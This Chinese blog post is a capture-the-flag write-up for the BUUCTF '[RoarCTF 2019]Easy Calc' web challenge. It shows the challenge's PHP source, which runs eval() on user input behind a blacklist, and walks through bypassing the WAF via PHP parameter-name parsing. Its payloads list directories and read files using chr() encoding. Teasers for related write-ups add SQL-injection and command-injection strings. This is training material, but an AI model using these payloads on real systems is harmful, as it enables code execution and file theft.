当前位置:首页 > CTF > BUU > 正文内容

BUUCTF_web_第13题:[RoarCTF 2019]Easy Calc

BUU七星1个月前 (01-23)


打开题, 发现是个计算器,传入表达式,计算结果,乍一看没啥问题

然后祖传的f12, 首先看到的就是一个祖传的注释:

<!--I've set up WAF to ensure security.--> 

说是有waf

接着发现了一个js, js里有个calc.php什么什么鬼的文件,打开看看

啊,代码审计审计计....

那就审嘛:

<?php

error_reporting(0);
if(!isset(
$_GET['num'])){
   show_source(__FILE__);
}else{
   $str = $_GET['num'];
   $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
   foreach (
$blacklist as $blackitem) {
      if (
preg_match('/' . $blackitem . '/m', $str)) {
         die(
"what are you want to do?");
      }
   }
   eval(
'echo '.$str.';');
}
?>

原来他的waf是过滤了一些字符, 但是通过之前的尝试发现, num根本不让传入特殊字符及字母.

那么waf就不简单是上面的过滤了, 可能是第三方软件.

越是不让的东西就越该尝试,不让num传入字符字母,那就想办法传.

这里讲一个字符串解析:

在PHP传入参数时会把传入的参数变成数组,比如 /?num=4 会变成 Array([num] => "bar") 

但是但是, 传入的字符串在解析的过程中会将某些字符删除或用下划线代替

例如 /?%20num[id=42 会转换为 Array([num_id] => 42)

如果一个IDS/IPS/WAF中有一条规则是: 当num_id参数的值是一个非数字的值,则拦截

那么我们就可以用以下语句绕过:

/calc.php?%20num[id=阿巴阿巴阿巴;

这样, PHP语句的参数%20news[id的值将直接存储到$_GET[“num_id”]中,即:

Array([num_id] => 阿巴阿巴阿巴), 从而不会通过IDS/IPS/WAF的检测。

所以这个题绕过waf的方法就是,字符串解析漏洞, 在num前面加个空格, url编码就是%20,即:

/calc.php?%20num=

绕过之后, 就是用eval来执行php函数.我们获取当前目录,看看有没有flag文件:

/calc.php?%20num=scandir(/);

但是发现被waf过滤了, 他过滤了/, 所以我们可以用chr(47)来代替"/":

/calc.php?%20num=scandir(chr(47));

返回一个Array, 哦哦没有打印, 那就var_dump()一下:

/calc.php?%20num=var_dump(scandir(chr(47)))

可以看见有f1agg这个文件,直接用var_dump(file_get_contents())读取:

var_dump(file_get_contents("/f1agg"))

过滤了"这, 那就用chr():

/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

直接获取flag

qixingbit.com|QQ:320406741

相关文章

 BUUCTF_web_第三题:[极客大挑战 2019]EasySQL

BUUCTF_web_第三题:[极客大挑战 2019]EasySQL

第三题: [极客大挑战 2019]EasySQL 常规SQL注入, 没啥说的, 好多种解法, 既然是登录, 这里就写一个万能用户: 1' or 1=1# 密码随便填, 就能getflag...

BUUCTF_web_第四题:[极客大挑战 2019]Havefun

BUUCTF_web_第四题:[极客大挑战 2019]Havefun

开局一直猫, flag全靠f12:<!--˂!----˃$cat=$_GET['cat'];echo $cat;if($cat=='dog'){    echo 'Syc{c...

BUUCTF_web_第11题:[护网杯 2018]easy_tornado

BUUCTF_web_第11题:[护网杯 2018]easy_tornado

开靶场, 有三个文件链接,依次点开, 有个提示:flag in /fllllllllllllag然后观察url发现,访问文件是需要提交一个filehash值的:/file?filename=/flag...

BUUCTF_web_第五题:[SUCTF 2019]EasySQL

BUUCTF_web_第五题:[SUCTF 2019]EasySQL

[SUCTF 2019]EasySQL打开题目,发现一个搜索框,尝试发现是堆叠注入,先查一下数据库:1;show databases;得到:Array ( [0] => 1 )Array ( [...

BUUCTF_web_第二题:[强网杯 2019]随便注

BUUCTF_web_第二题:[强网杯 2019]随便注

第二题: [强网杯 2019]随便注 测试一下, 1'# 返回正常, 发现是字符注入,尝试show一下database: 1';show databases;%23 发现出结果了:...

BUUCTF_web_第九题:[GXYCTF2019]Ping Ping Ping

BUUCTF_web_第九题:[GXYCTF2019]Ping Ping Ping

是个ping, 传入/?ip=127.0.0.1看看命令执行, 立刻想到||管道符:/?ip=127.0.0.1||ls不行, 那就封号;/?ip=127.0.0.1;ls成功获得两个文件名flag....

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。